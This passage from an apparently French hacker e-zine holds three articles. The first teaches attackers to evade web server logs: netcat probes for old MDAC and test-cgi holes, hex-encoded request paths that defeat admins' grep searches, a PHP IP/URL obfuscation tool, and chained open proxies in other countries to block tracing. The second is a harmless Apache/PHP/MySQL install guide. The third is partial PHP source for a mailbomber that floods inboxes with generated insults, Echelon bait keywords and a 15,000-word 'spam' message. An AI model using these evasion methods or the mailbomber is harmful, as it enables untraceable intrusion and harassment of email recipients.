La requete suivante est donc forge  :

[root@localhost]# nc -n 10.0.2.55 80
GET /%6D%73%61%64%63 HTTP/1.0

Ha bin merde sur IIS ca change rien, m'enfin c pas grave vu que la
faille mdac est quand meme assez vieille. Aucune importance, car
meme si l'encodage hexa n'aide pas beaucoup sur un serveur microdob, 
il va etre tres efficace sur un serveur apache (par exemple pour
verifier une toute aussi vieille faille qu'est celle du dossier test-cgi.
Ca ressemblerait a peu pres a ca sans encodage : 

[root@localhost]# nc -n 10.0.0.2 80
HEAD /cgi-bin/test-cgi HTTP/1.0

Et pour ajouter un flou artistique dans les logs du serveur :

[root@localhost]# nc -n 10.0.0.2 80
HEAD /%63%67%69-bin/test-%63%67%69 HTTP/1.0

Un coup d'oeil au log d'acces nous montre ceci dans le premier cas :

10.10.10.10 - - [18/Oct/2000:08:22:47 -0700] "HEAD /cgi-bin/test-cgi
HTTP/1.0" 200 0

Et dans le deuxieme cas (partiellement hex-encod) : 

10.10.10.10 - - [18/Oct/2000:08:23:47 -0700] "HEAD
/%63%67%69-bin/test-%63%67%69 HTTP/1.0" 200 0

A noter que dans les deux cas la reponse est 200 (commande executee 
avec succes), sauf que dans le deuxieme le fichier de log est rempli
avec les valeurs telles qu'elles ont t envoyes en hexa, rendant
ainsi toute recherche textuelle inutile en cas de recherche exacte (la
methode la plus greppe par les admins.
Malheureusement de plus en plus de systemes permettent d'ajouter des
filtres a la recherche et notemment le decodage hexa des valeurs 
trouvees avant comparaison. 

Voici un petit utilitaire en php qui fait double emploi, dans un premier
temps il permet de convertir une adresse ip de type xxx.xxx.xxx.xxx en
adresse numerique decimale (et vice-versa), mais il permet aussi 
d'encoder en hexa n'importe quelle chaine dans le but de tester si le
log du serveur web prend effectivement la chaine exacte ou la chaine
encodee envoyee dans la requete.

<form method="POST" action="<? echo $PHP_SELF ?>"> 
<div align="left"><p> 
<small><font face="Verdana"><strong>IP Hider / 
Converter</strong></font></small></p> 
</div> 
<div align="left"><p> 
Unhide ip : <input type="text" name="unhide" value="<? echo $unhide; ?>">
<input type="submit" nama="submit" value="go unhide it"><BR>
Hide Ip <input type="text" name="one" maxlength="3" size="3" 
value="<? echo $one; ?>"><strong>-</strong> 
<input type="text" name="two" maxlength="3" size="3" 
value="<? echo $two; ?>"><strong>-</strong> 
<input type="text" name="three" maxlength="3" size="3" 
value="<? echo $three; ?>"><strong>-</strong> 
<input type="text" name="four" maxlength="3" size="3" 
value="<? echo $four; ?>">  
<input type="submit" nama="submit" value="go hide it"></p> 
</div> 
</form> 
<?  
if($REQUEST_METHOD == "POST"){ 
	if($one) {
		$hide=(((($one*256+$two)*256)+$three)*256+$four); 
		echo ("IP =  $one.$two.$three.$four\n<br>"); 
		echo ("Devient $hide\n<br>"); 
		echo ("try it <a href=\"http://$hide\">http://$hide</a>\n<br>"); 
		}
	if($unhide=="") $unhide=$hide;
	if($unhide!="") { 
		$one	=$unhide/16777216%256;
		$two	=$unhide/65536%256;
		$three	=$unhide/256%256;
		$four	=($unhide-1)%256+257;
		echo "Unhide : $one . $two . $three . $four\n<br>";
		}


	} 

?>
<hr>
<form method="POST" action="<? echo $PHP_SELF ?>"> 
<div align="left"><p> 
<small><font face="Verdana"><strong>URL Hider / 
Converter</strong></font></small></p> 
</div> 
<div align="left"><p> 
Hide url : <input type="text" name="url" value="<? echo $url; ?>" 
size=25> 
<input type="submit" nama="submit" value="go hide it"></p> 
Hidden url (if any ) :<BR>  <B><?
if($url) while($i++<strlen($url)) echo "%".dechex(ord($url[$i-1])); 
// recursive : chr(hexdec(54));
?></b><BR>
</div> 
</form>





-Le Serveur Proxy
-------------------
Concevoir l'approche d'un serveur est aussi important que de dissimuler les
traces une fois l'approche etablie. Quand l'adresse IP originale est masquee
par un moyen ou par un autre, la situation est telle que toute attaque 
dirigee vers le serveur web sera logge avec l'adresse du masque plutot que
celle dont les attaques sont originaires.

Les proxies sont en general utiliss pour rediriger diffrents protocoles
au travers d'un seul point d'acces. Au niveau pratique, tous les utilisateurs
sont forcs d'utiliser un meme proxy pour acceder a l'internet, laissant ainsi
la possibilit aux admins d'ajouter des limites et restrictions en entree et
en sortie. Le proxy relaye toutes les demandes des utilisateurs vers les serveur
concerns qui enregistrent non pas leur adresse mais celle de la machine ou
se trouve ce proxy. Evidemment le proxy lui meme possede un fichier de log
avec le detail des connexions, cela peut representer une securit autant qu'une
crainet pour les petits malins qui veulent se planquer derriere...

Il se peut parfois que certains proxies "orphelins" soient abandonns sur le
reseau, ils vont alors rejoindre le rang des proxies-pour-tous (ay qu'est ce
que c'est que cette secte ? ) Proxys-4-All -> http://www.proxys4all.com/ avec
une liste de serveurs mal configurs (ou trop bien configurs, ca dpend de quel
cot on se place hehehe). 

L'utilisation d'un tel proxy applique a l'exemple donn plus haut donne des
resultats differents sur les logs, voici une connexion normale : 

Pingouin : 
[root@10.1.1.1 /]# nc -v 10.8.8.8 80
HEAD / HTTP/1.0

Fichier Log sur la machine cible
10.1.1.1 - - [18/Oct/2000:03:31:58 -0700] "HEAD / HTTP/1.0" 200 0


Voici la meme connexion etablie au travers d'un proxy 
In the following attack/log file combination, we see the attacker achieve
the same goal, except that the attacker uses a proxy server.

Pingouin : 
[root@10.1.1.1 /]# nc -v 216.234.161.83 80
HEAD http://10.8.8.8/ HTTP/1.0

Fichier Log sur la machine cible
216.234.161.83 - - [18/Oct/2000:03:39:29 -0700] "HEAD / HTTP/1.1" 200 0

Le proxy utilis ici est 216.234.161.83 => proxy.proxyspace.com et c'est
bien cette adresse qui apparait au lieu de celle du pingouin (10.1.1.1). 
La seule facon pour l'admin du serveur web de tracker l'adresse originale
est de faire cooperer l'admin qui s'occupe du proxy qui a relay la requete,
car la plupart des serveurs proxies ont un fichier log TRES detaill.
Pour contourner cette lacune, la ruse consiste a utiliser un second, voire
un troisieme proxy qu'on met en chaine (si possible un proxy situ dans un
autre pays ou appartenant a des socits concurrentes. 
Retrouver la trace de l'ip originale devient alors une veritable chasse au
tresor et reclame des capacits plus politiques et strategiques que 
techniques.
Le chainage des proxies est une technique teste et approuve par de grandes
marques de hackers, il existe meme des programmes pour script-kiddies qui
font ca automatiquement : 
SocksChain pour Windows. -> http://www.ufasoft.com/socks/




-Le SSL
------
Une information interessante est que les serveurs equipes d'un module SSL
actif ne sont PAS monitors par des programmes de detection d'intrusion, car
fondamentalement ils ne peuvent pas (le premier S dans SSL deviendrait
nul et non avenu). Voila pourquoi les intrusions sont toujours plus rapides 
et plus "securisees" sur le port 443 (HTTPS) que sur le 80 (HTTP). Inutile 
de preciser quelle est la route qui est la plus souvent utilise par un 
attaquant qui veut rester invisible. La methode dite du "mec au milieu" 
est plus que jamais appliquable (voir hackoff precedent pour description de 
cette methode).



Traduit et complt a partir d'un document original trouv sur le web.



`,,`,,`,,``,,`,,`,












                     _        ______________________        _
-*5*-                 `^*;:,.> Php4 Installation  <.,:;*^`
_____________________________/Coolrasta\___________________________
`,,`,,`,,``,,`,,`,

Auteur : Joey (coolrasta@nexen.net)
Site   : http://coolrasta.nexen.net 
Date de creation : 31/07/2000
Titre : Installation apache/php4/mysql

A noter que ce texte est a lire comme un HOWTO plutot que comme
un article. Il en existe deja plusieurs autres versions mais 
celle ci a ete retenue du fait de son cot unique (SOLARIS),.,

Il faut commencer par telecharger les fichiers sources .... pas
les binaires car il va falloir tout recompiler comme un grand..

-Apache 1.3.12 (ou version plus recente)
http://www.apache.org/dist/apache_1.3.12.tar.gz
PHP4 beta 4 patch level 1
http://www.php.net/version4/do_download.php?download_file=php-4.0b4pl1.tar.gz
MySQL 3.22.32 (ou version plus recente)
http://www.mysql.org/Downloads/MySQL-3.22/mysql-3.22.32.tar.gz
Zend Optimizer
http://www.zend.com/zend/optimizer.php


Decompresser le tout dans :

"/usr/local/src"

# cd /usr/local/src
# tar -zxvf apache*.tar.gz
# tar -zxvf php*.tar.gz
# tar -zxvf mysql*.tar.gz
# tar -zxvf Zend*.tar.gz


On commence par configurer mysql

# cd mysql*
# ./configure --prefix=/usr/local/mysql
# make
# make install
# cd /usr/local/mysql/bin
# ./mysql_install_db
# ./safe_mysqld >/dev/null &
# ./mysqladmin -u root password 'monMotdePasse'

MySql est lanc et pret a etre utilis.. La suite avec Apache :

# cd /usr/local/apache/conf
# mv httpd.conf httpd.conf.save
# cp httpd.conf.default httpd.conf

On retourne dans le fichier contenant les sources d'apache

# cd /usr/local/src/apache_1.3.12
# ./configure --prefix=/usr/local/apache --enable-shared=max
# make
# make install

Puis maintenant le php4
Apache vient d'etre compil avec une option de support de chargement
dynamique des modules ...Ca veut dire que Apache ne doit etre recompil
que si un module est mis a jour et non pas lors d'un ajout ;))

Attention il s'agit ici de la config minimale, il est evident que le
choix des modules depend des besoins et de la configuration locale
ex : module a compiler comme swf, gd-png, horde, etc

# cd ../php-4.0b4pl1
# ./configure --with-apxs=/usr/local/apache/bin/apxs \
--with-config-file-path=/usr/local/apache/conf \
--with-mysql
--enable-debug=no \
--enable-track-vars
# make
# make install

php est maintenant compile et installe. On doit maintenant s'occuper des
fichiers de configuration ....

# cp php.ini-dist /usr/local/apache/conf/php.ini
# cd /usr/local/apache/conf

Editer httpd.conf. Bon on va s'assurer qu'apache support bien tous nos
modules PHP. il faut voir les lignes suivantes ...

LoadModule vhost_alias_module libexec...
LoadModule...
LoadModule php4_module libexec/libphp4.so

ClearModuleList
AddModule mod_vhost_alias.c
AddModule...
AddModule mod_php4.c

Maintenant toujours dans httpd.conf enlever les commentaires devant les
lignes suivantes:

AddType application/x-httpd-php .php .php3 .phtml
AddType application/x-httpd-php-source .phps

On peut en profiter pour ajouter ceux-la selon la config
requise : 

AddType application/x-httpd-php .html (pas conseill)
AddType application/x-httpd-php .php4 (tordu)


A ce stade ca devrait deja marcher pour le php mais on va utiliser un
autre outil qui ameliore les performances ... ZEND optimizer ...

# mkdir /usr/local/Zend
# mkdir /usr/local/Zend/lib
# cp /usr/local/src/Zend*/ZendOptimizer.so /usr/local/Zend/lib/

Maintenant on met a jour la configuration php dans le , php.ini, et on 
ajoute les 2 lignes suivantes ...Attention ! ne pas ajouter d'espace 
ou quoi que ce soit ...

zend_optimizer.optimization_level=1
zend_extension="/usr/local/Zend/lib/ZendOptimizer.so"

On lance Apache : 

# cd ../bin
# ./apachetcl start

Dans un fichier qu'on appellera phpinfo.php, et qu'on met dans le 
repertoire racine du serveur web par defaut ../htdocs on insere :

<?php phpinfo(); ?>

Hop un petit coup d'oeil dans le navigateur : 
http://localhost/phpinfo.php

Et le tour est jou !



`,,`,,`,,``,,`,,`,
















                     _        ______________________        _
-*6*-                 `^*;:,.>  Mail Bomber php   <.,:;*^`
_____________________________/By tobozo\___________________________
`,,`,,`,,``,,`,,`,

<?

/* 
*  Php massmailer 
* 
* (c)free 2000 by: tobozo@usa.net
* 
* Permission d'utliser et de modifier ce logiciel ainsi que sa
* documentation pour tout usage non commercial est accordee
* sans autre charge supplementaire du moment que l'auteur est
* prvenu...Meme chose pour la copie et la distribution, 
* du moment que cette notice de permission y figure.
* Ce code est fourni "tel quel" sans aucune garantie de ce
* qu'il pourrait produire ou ne pas produire.
* 
* L'auteur n'est pas responsable de ce que vous faites avec
* ce script, n'en abusez pas
*
*/


  /*****************************
  *    UNE BASE DE DONNEES     *
  *****************************/


  // quelques insultes
  
$insults["0"]=array(
	"Espece de",
	"Salut",
	"Pourriture de",
	"Vindiou de",
	"Saloperie de"
	);

$insults["1"]=array(
	"vieux batard",
	"vieil encul",
	"gros fils de pute",
	"vieille canaille",
	"grosse merde",
	"gros debris",
	"gros con",
	"vieux chacal",
	"gros travelot",
	"vieille crapule"
	);
	
$insults["2"]=array(
	"de ta race",
	"de ta race maudite",
	"de ta mere",
	"de tes os",
	"des bois",
	"puant",
	"dbile",
	"assexu",
	"alcoolique",
	"lobotomis",
	"sans couilles"
	);
	
$insults["3"]=array(
	"tu es",
	"tu ressembles ",
	"tu me fais penser "
	);
	
$insults["4"]=array(	
	"une tantouze",
	"un debile",
	"mes poils du cul",
	"un neuneu",
	"un blaireau des alpages",
	"une raclure de chiottes",
	"une bouze de vache",
	"une sous-merde",
	"un nabot",
	"un gland",
	"une fiante de pigeon",
	"une merde siliconne",
	"une daube pas fraiche"
	);
	
$insults["5"]=array(
	"qui refoule du bec",
	"qui pue des aisselles",
	"qui transpire du cul",
	"qui coule de partout",
	"qui se chie dessus",
	"qui est vert de trouille",
	"jaune devant marron derrire",
	"toujours prt  lcher le cul",
	"qui ne colle pas une mouche au plafond",
	"qui pu du bec"
	);

$insults["6"]=array(	
	"je voudrais seulement",
	"je rve de",
	"je crve d'envie de",
	"j'ai fait le pari de",
	"je bande  l'ide de",
	"je mouille en pensant ",
	"je ris en pensant ",
	"je me marre grave  l'ide de"
	);

$insults["7"]=array(	
	"te pisser  la raie",
	"t'eclater la face",
	"t'clater la tronche",
	"te fumer",
	"te broyer les couilles",
	"te gerber dessus",
	"te chier dessus",
	"t'apprendre les bonnes manires",
	"te bousiller la carcasse",
	"te peter dessus",
	"te mettre mes couilles sur ton nez"
	);
	
$insults["8"]=array(	
	"derrire le cyprs",
	"devant toute ta famille",
	"ou tu veux",
	"au boulot",
	"sous la lune",
	"au bistrot",
	"devant ta petasse",
	"au lit"
	);

$insults["9"]=array(
	"jusqu' l'aube",
	"vite fait",
	"pour rigoler",
	"aprs l'apro",
	"pendant les pub",
	"si tu as 5 minutes",
	"aprs le match de foot",
	"en regardant un match de rugby",
	"en baisant ta copine"
	);

$insults["10"]=array("Va");

$insults["11"]=array(
	"te faire foutre",
	"te faire mettre",
	"te faire pourrir",
	"te faire enculer profond",
	"te faire bourrer le cul chez les grecs",
	"chier vieille pute",
	"crever",
	"te faire sucer",
	"te faire trouer le cul"
	);
	
$insults["12"]=array("Sign : ton ");

$insults["13"]=array(
	"cauchemar",
	"gorille",
	"partenaire",
	"pire ennemi",
	"ami",
	"pire cauchemar",
	"pote",
	"maitre vnr",
	"seigneur des carpates",
	"renard rus"
	);
	
$insults["14"]=array(
	"stressant",
	"infernal",
	"fou",
	"irrflchi",
	"qui pense  toi",
	"qui t'attends de pied ferme",
	"haltrophile",
	"inclassable",
	"qui fait sa loi"
	);




  // echelon keywords
  
$words=array(
'INFOSEC', 'Information Security', 'Information Warfare', 'IW', 'IS', 'Privacy', 'Information Terrorism', 'Terrorism Defensive Information', 'Defense Information Warfare', 'Offensive Information', 'Offensive Information Warfare', 'National Information Infrastructure', 'InfoSec', 'Reno', 'Compsec', 'Computer Terrorism', 'Firewalls', 'Secure Internet Connections', 'ISS', 'Passwords', 'DefCon V', 'Hackers', 'Encryption', 'Espionage', 'USDOJ', 'NSA', 'CIA', 'S/Key', 'SSL', 'FBI', 'Secert Service', 'USSS', 'Defcon', 'Military', 'White House', 'Undercover', 'NCCS', 'Mayfly', 'PGP', 'PEM', 'RSA', 'Perl-RSA', 'MSNBC', 'bet', 'AOL', 'AOL TOS', 'CIS', 'CBOT', 'AIMSX', 'STARLAN', '3B2', 'BITNET', 'COSMOS', 'DATTA', 'E911', 'FCIC', 'HTCIA', 'IACIS', 'UT/RUS', 'JANET', 'JICC', 'ReMOB', 'LEETAC', 'UTU', 'VNET', 'BRLO', 'BZ', 'CANSLO', 'CBNRC', 'CIDA', 'JAVA', 'Active X', 'Compsec 97', 'LLC', 'DERA', 'Mavricks', 'Meta-hackers', '^?', 'Steve Case', 'Tools', 'Telex', 'Military Intelligence', 'Scully', 'Flame', 'Infowar', 'Bubba', 'Freeh', 'Archives', 'Sundevil', 'jack', 'Investigation', 'ISACA', 'NCSA', 'spook words', 'Verisign', 'Secure', 'ASIO', 'Lebed', 'ICE', 'NRO', 'Lexis-Nexis', 'NSCT', 'SCIF', 'FLiR', 'Lacrosse', 'Flashbangs', 'HRT', 'DIA', 'USCOI', 'CID', 'BOP', 'FINCEN', 'FLETC', 'NIJ', 'ACC', 'AFSPC', 'BMDO', 'NAVWAN', 'NRL', 'RL', 'NAVWCWPNS', 'NSWC', 'USAFA', 'AHPCRC', 'ARPA', 'LABLINK', 'USACIL', 'USCG', 'NRC', '~', 'CDC', 'DOE', 'FMS', 'HPCC', 'NTIS', 'SEL', 'USCODE', 'CISE', 'SIRC', 'CIM', 'ISN', 'DJC', 'SGC', 'UNCPCJ', 'CFC', 'DREO', 'CDA', 'DRA', 'SHAPE', 'SACLANT', 'BECCA', 'DCJFTF', 'HALO', 'HAHO', 'FKS', '868', 'GCHQ', 'DITSA', 'SORT', 'AMEMB', 'NSG', 'HIC', 'EDI', 'SAS', 'SBS', 'UDT', 'GOE', 'DOE', 'GEO', 'Masuda', 'Forte', 'AT', 'GIGN', 'Exon Shell', 'CQB', 'CONUS', 'CTU', 'RCMP', 'GRU', 'SASR', 'GSG-9', '22nd SAS', 'GEOS', 'EADA', 'BBE', 'STEP', 'Echelon', 'Dictionary', 'MD2', 'MD4', 'MDA', 'MYK', '747,777', '767', 'MI5', '737', 'MI6', '757', 'Kh-11', 'Shayet-13', 'SADMS', 'Spetznaz', 'Recce', '707', 'CIO', 'NOCS', 'Halcon', 'Duress', 'RAID', 'Psyops', 'grom', 'D-11', 'SERT', 'VIP', 'ARC', 'S.E.T. Team', 'MP5k', 'DREC', 'DEVGRP', 'DF', 'DSD', 'FDM', 'GRU', 'LRTS', 'SIGDEV', 'NACSI', 'PSAC', 'PTT', 'RFI', 'SIGDASYS', 'TDM. SUKLO', 'SUSLO', 'TELINT', 'TEXTA. ELF', 'LF', 'MF', 'VHF', 'UHF', 'SHF', 'SASP', 'WANK', 'Colonel', 'domestic disruption', 'smuggle', '15kg', 'nitrate', 'Pretoria', 'M-14', 'enigma', 'Bletchley Park', 'Clandestine', 'nkvd', 'argus', 'afsatcom', 'CQB', 'NVD', 'Counter Terrorism Security', 'Rapid Reaction', 'Corporate Security', 'Police', 'sniper', 'PPS', 'ASIS', 'ASLET', 'TSCM', 'Security Consulting', 'High Security', 'Security Evaluation', 'Electronic Surveillance', 'MI-17', 'Counterterrorism', 'spies', 'eavesdropping', 'debugging', 'interception', 'COCOT', 'rhost', 'rhosts', 'SETA', 'Amherst', 'Broadside', 'Capricorn', 'Gamma', 'Gorizont', 'Guppy', 'Ionosphere', 'Mole', 'Keyhole', 'Kilderkin', 'Artichoke', 'Badger', 'Cornflower', 'Daisy', 'Egret', 'Iris', 'Hollyhock', 'Jasmine', 'Juile', 'Vinnell', 'B.D.M.,Sphinx', 'Stephanie', 'Reflection', 'Spoke', 'Talent', 'Trump', 'FX', 'FXR', 'IMF', 'POCSAG', 'Covert Video', 'Intiso', 'r00t', 'lock picking', 'Beyond Hope', 'csystems', 'passwd', '2600 Magazine', 'Competitor', 'EO', 'Chan', 'Alouette,executive', 'Event Security', 'Mace', 'Cap-Stun', 'stakeout', 'ninja', 'ASIS', 'ISA', 'EOD', 'Oscor', 'Merlin', 'NTT', 'SL-1', 'Rolm', 'TIE', 'Tie-fighter', 'PBX', 'SLI', 'NTT', 'MSCJ', 'MIT', '69', 'RIT', 'Time', 'MSEE', 'Cable & Wireless', 'CSE', 'Embassy', 'ETA', 'Porno', 'Fax', 'finks', 'Fax encryption', 'white noise', 'pink noise', 'CRA', 'M.P.R.I.', 'top secret', 'Mossberg', '50BMG', 'Macintosh Security', 'Macintosh Internet Security', 'Macintosh Firewalls', 'Unix Security', 'VIP Protection', 'SIG', 'sweep', 'Medco', 'TRD', 'TDR', 'sweeping', 'TELINT', 'Audiotel', 'Harvard', '1080H', 'SWS', 'Asset', 'Satellite imagery', 'force', 'Cypherpunks', 'Coderpunks', 'TRW', 'remailers', 'replay', 'redheads', 'RX-7', 'explicit', 'FLAME', 'Pornstars', 'AVN', 'Playboy', 'Anonymous', 'Sex', 'chaining', 'codes', 'Nuclear', '20', 'subversives', 'SLIP', 'toad', 'fish', 'data havens', 'unix', 'c', 'a', 'b', 'd', 'the', 'Elvis', 'quiche', 'DES', '1*', 'NATIA', 'NATOA', 'sneakers', 'counterintelligence', 'industrial espionage', 'PI', 'TSCI', 'industrial intelligence', 'H.N.P.', 'Juiliett Class Submarine', 'Locks', 'loch', 'Ingram Mac-10', 'sigvoice', 'ssa', 'E.O.D.', 'SEMTEX', 'penrep', 'racal', 'OTP', 'OSS', 'Blowpipe', 'CCS', 'GSA', 'Kilo Class', 'squib', 'primacord', 'RSP', 'Becker', 'Nerd', 'fangs', 'Austin', 'Comirex', 'GPMG', 'Speakeasy', 'humint', 'GEODSS', 'SORO', 'M5', 'ANC', 'zone', 'SBI', 'DSS', 'S.A.I.C.', 'Minox', 'Keyhole', 'SAR', 'Rand Corporation', 'Wackenhutt', 'EO', 'Wackendude', 'mol', 'Hillal', 'GGL', 'CTU', 'botux', 'Virii', 'CCC', 'Blacklisted 411', 'Internet Underground', 'XS4ALL', 'Retinal Fetish', 'Fetish', 'Yobie', 'CTP', 'CATO', 'Phon-e', 'Chicago Posse', 'l0ck', 'spook keywords', 'PLA', 'TDYC', 'W3', 'CUD', 'CdC', 'Weekly World News', 'Zen', 'World Domination', 'Dead', 'GRU', 'M72750', 'Salsa', '7', 'Blowfish', 'Gorelick', 'Glock', 'Ft. Meade', 'press-release', 'Indigo', 'wire transfer', 'e-cash', 'Digicash', 'zip', 'SWAT', 'Ned Rubenschlachen Ortega', 'PPP', 'crypto-anarchy', 'AT&T', 'SGI', 'SUN', 'MCI', 'Blacknet', 'Middleman', 'KLM', 'Blackbird', 'plutonium', 'Texas', 'jihad', 'SDI', 'Uzi', 'Fort Meade', 'supercomputer', 'bullion', '3', 'Blackmednet', 'Propaganda', 'ABC', 'Satellite phones', 'Planet-1', 'cryptanalysis', 'nuclear', 'FBI', 'Panama', 'fissionable', 'Sears Tower', 'NORAD', 'Delta Force', 'SEAL', 'virtual', 'Dolch', 'secure shell', 'screws', 'Black-Ops', 'Area51', 'SABC', 'basement', 'data-haven', 'black-bag', 'TEMPSET', 'Goodwin', 'rebels', 'ID', 'MD5', 'IDEA', 'garbage', 'market', 'beef', 'Stego', 'unclassified', 'utopia', 'orthodox', 'Alica', 'SHA', 'Global', 'gorilla', 'Bob', 'Pseudonyms', 'MITM', 'Gray Data', 'VLSI', 'mega', 'Leitrim', 'Yakima', 'Sugar Grove', 'Cowboy', 'Gist', '8182', 'Gatt', 'Platform', '1911', 'Geraldton', 'UKUSA', 'veggie', '3848', 'Morwenstow', 'Consul', 'Oratory', 'Pine Gap', 'Menwith', 'Mantis', 'DSD', 'BVD', '1984', 'Flintlock', 'cybercash', 'government', 'hate', 'speedbump', 'illuminati', 'president', 'freedom', 'cocaine', '$', 'Roswell', 'ESN', 'COS', 'E.T.', 'credit card', 'b9', 'fraud', 'assasinate', 'virus', 'anarchy', 'rogue', 'mailbomb', '888', 'Chelsea', '1997', 'Whitewater', 'MOD', 'York', 'plutonium', 'William Gates', 'clone', 'BATF', 'SGDN', 'Nike', 'Atlas', 'Delta', 'TWA', 'Kiwi', 'PGP 2.6.2.', 'PGP 5.0i', 'PGP 5.1', 'siliconpimp', 'Lynch', '414', 'Face', 'Pixar', 'IRIDF', 'eternity server', 'Skytel', 'Yukon', 'Templeton', 'LUK', 'Cohiba', 'Soros', 'Standford', 'niche', '51', 'H&K', 'USP', '^', 'sardine', 'bank', 'EUB', 'USP', 'PCS', 'NRO', 'Red Cell', 'Glock 26', 'snuffle', 'Patel', 'package', 'ISI', 'INR', 'INS', 'IRS', 'GRU', 'RUOP', 'GSS', 'NSP', 'SRI', 'Ronco', 'Armani', 'BOSS', 'Chobetsu', 'FBIS', 'BND', 'SISDE', 'FSB', 'BfV', 'IB', 'froglegs', 'JITEM', 'SADF', 'advise', 'TUSA', 'HoHoCon', 'SISMI', 'FIS', 'MSW', 'Spyderco', 'UOP', 'SSCI', 'NIMA', 'MOIS', 'SVR', 'SIN', 'advisors', 'SAP', 'OAU', 'PFS', 'Aladdin', 'chameleon man', 'Hutsul', 'CESID', 'Bess', 'rail gun', 'Peering', '17', '312', 'NB', 'CBM', 'CTP', 'Sardine', 'SBIRS', 'SGDN', 'ADIU', 'DEADBEEF', 'IDP', 'IDF', 'Halibut', 'SONANGOL', 'Flu', '&', 'Loin', 'PGP 5.53', 'EG&G', 'AIEWS', 'AMW', 'WORM', 'MP5K-SD', '1071', 'WINGS', 'cdi', 'DynCorp', 'UXO', 'Ti', 'THAAD', 'package', 'chosen', 'PRIME', 'SURVIAC', 'bomb', 'bombe', 'explosif', 'exploser', 'nitro', 						'ammoniaque', 'chimie', 'peter', 'petard', 'dynamite', 'plastic',	'a','about','all','an','and','any','are','as','at', 'be','been','by','can','do','find','for','from','get', 'have','he','how','htm','html','i','if','in','is','it','me','most','new','no','not','of','on','one','or', 'other','page','s','site','that','the','this','to','two','use','w','web','what','when','where',	'which','who', 'why','will','with','you','your', 'abord', 'alors', 'au','aucuns', 'aussi', 'autre', 'avant', 'avec', 'avoir', 'bon', 'car', 'ce', 'cela', 'certain', 'ces', 'ceux', 'chaque', 'ci', 'comme', 'comment', 'dans', 'de', 'dedans', 'dehors', 'depuis', 'deux', 'devrait', 'doit','donc', 'dos', 'droite', 'dbut', 'elle', 'elles', 'en', 'encore', 'essai', 'est', 'et', 'eu', 'fait', 'faites', 'fois', 'font', 'force', 'haut', 'hors', 'ici', 'il', 'ils', 'je', 'juste', 'la', 'le', 'les', 'leur', 'l', 'ma', 'maintenant', 'mais', 'mes', 'mine', 'moins', 'mon', 'mot', 'mme', 'meme', 'ni', 'nomms', 'nommes', 'notre', 'nous', 'nouveaux', 'or', 'ou', 'o', 'par', 'parce', 'parole', 'pas', 'personnes', 'peut', 'peu', 'pice', 'piece', 'plupart', 'plus', 'point', 'pour', 'pourquoi', 'quand', 'que', 'quel', 'quelle', 'quelles', 'quels', 'qui', 'sa', 'sans', 'ses', 'seulement', 'si', 'sien', 'son', 'sont', 'sous', 'soyez', 'sujet', 'sur', 'ta', 'tandis', 'tellement', 'tels', 'tes', 'ton', 'tous', 'tout', 'trop', 'trs', 'tres', 'tu', 'un', 'us', 'valeur', 'voie', 'voient', 'vont', 'votre', 'vous', 'vu', 'a', 'ca', 'taient', 'tat', 'etat', 'tions', 'etions', 't', 'ete', 'tre', 'etre', 'aux', 'fichier', 'bien', 'les', 'allez', 'clf', 'ces', 'cette', 'cela', 'une', 'la', 'apres', 'idem', 'voir', 'ici', 'si', 'qui', 'que', 'quoi', 'dont', 'ou', 'va', 'vite', 'y', 'chose', 'merde', 'ne', 'ni', 'na', 'ultra', 'mon', 'du', 'je ', 'tu', 'il', 'nous', 'vous', 'ils', 'chier', 'con', 'va', 'parler', 'zine', 'unzipped', 'txt', 'sommaire', 'introduction', 'epilogue', 'texte', 'juin', 'janvier', 'fevrier', 'mars', 'avril', 'mai', 'juillet', 'aout', 'septembre', 'octobre', 'novembre', 'decembre', 'zines', 'envie', 'mouais', 'chuis', 'faudra', 'potes', 'pote', 'chiant', 'pratiquement', 'choses', 'faute', 'fautes', 'contraire', 'VRAIMENT', 'marre', 'lire', 'toujours', 'bonne', 'rendez', 'gagne', 'voyons', 'ah', 'souvent', 'lamers', 'lamer', 'longtemps','neuneux',	'fusent', 'commencer', 'puis', 'ensuite', 'finir', 'ben', 'mec', 'mecs', 'pourront', 'infernaux', 'toutefois', 'allons', 'biais', 'ROBERT', 'Entubator', 'IVROGNES', 'Entubator', 'Rantanplan', 'patelin', 'PRETEXTE', 'baisse', 'PAIX', 'sympa', 'importe', 'feuje', 'Virer', 'dessus', 'catholique', 'catholiques', 'enfin', 'rude', 'baton', 'narcisisme', 'tease', 'vulgaire', 'Bob Morane', 'Ensuite', 'quelque', 'Farce', 'poche', 'cousin', 'nickel', 'jamais', 'Coca', 'Cola', 'Bref', 'tiens', 'solidaire', 'Eh', 'oui', 'blaireau', 'injure', 'moutons', '1 0 200', 'Disclaimer', 'DISCLAIMER', 'nan', 'aller', 'autres', 'simplement', 'jours', 'jour', 'rentrer', 'emmerdeur', 'renvoit',	'demandera', 'regardez', 'Vu', 'abrutis', 'lt');



  // partie logique

class mail_bomb {

 /* proprietes */ 

 var $parts;
 var $to;
 var $from;
 var $headers;
 var $subject;
 var $body;
 var $max;
 var $mass;
 var $content;
 var $echelon="300";
 
 /* Constructeur */ 


 function mail_bomb()
  {
  // reinitialise les variables.
  $this->parts = array();
  $this->to = "";
  $this->from = "";
  $this->subject = "";
  $this->body = "";
  $this->headers = "";
  $this->max = "";
  $this->mass = "";
  $this->content = "";
  $this->echelon = "";
  }


 function insults()
   {
   // genere une insulte a partir des tableaux dfinis plus haut
   global $insults;
   $b=count($insults);
   $i=0;
   while($i<$b)
      {
      $temp=$insults[$i];
      $k=sizeof($temp);
      // recupere une valeur pseudo-aleatoire
      // basee sur le premier nombre dans microtime()
      $q=microtime();
      $q=explode(" ", $q);
      $q=explode(".", $q[0]);
      $q=$q[1]/100;
      $q=substr($q, -1);
      $q=intval($q/10*$k);
      // perdre un peu de temps pour eviter les formules
      // repetitives (il n'y a pas de random)
      $count=$q/100;
      while($count-->0) $t=1;
      // construire la phrase
      $msg.=" ".$temp[$q];
      $i++;
      }
   return $msg;
   }
	
 function echelon()
   {
   // genere un message en y mettant des
   // mots echelon au hasard (parametrable plus haut)
   global $words;
   $b=count($words);
   srand(microtime()+time());
   $c=intval(rand(1,$b));
   $d=0;
   // nb de mots a inserer
   $c=300;
   while ($d++<$c)
      {
      $q=microtime();
      $q=explode(" ", $q);
      $q=explode(".", $q[0]);
      $q=$q[1]/100;
      $q=substr($q, -1);
      $q=intval($q/10*$b);
      $msg.=" ".$words[$q];
      }
   return $msg;
   }


 function saturate()
   {
   // genere un message avec 15.000 fois
   // le mot "spam" (~=70ko)
   while($a++<15000) $msg.="spam ";
   return $msg;
   }
		
 function add_attachment($message, $name = "", $ctype = "application/octet-stream")
  {
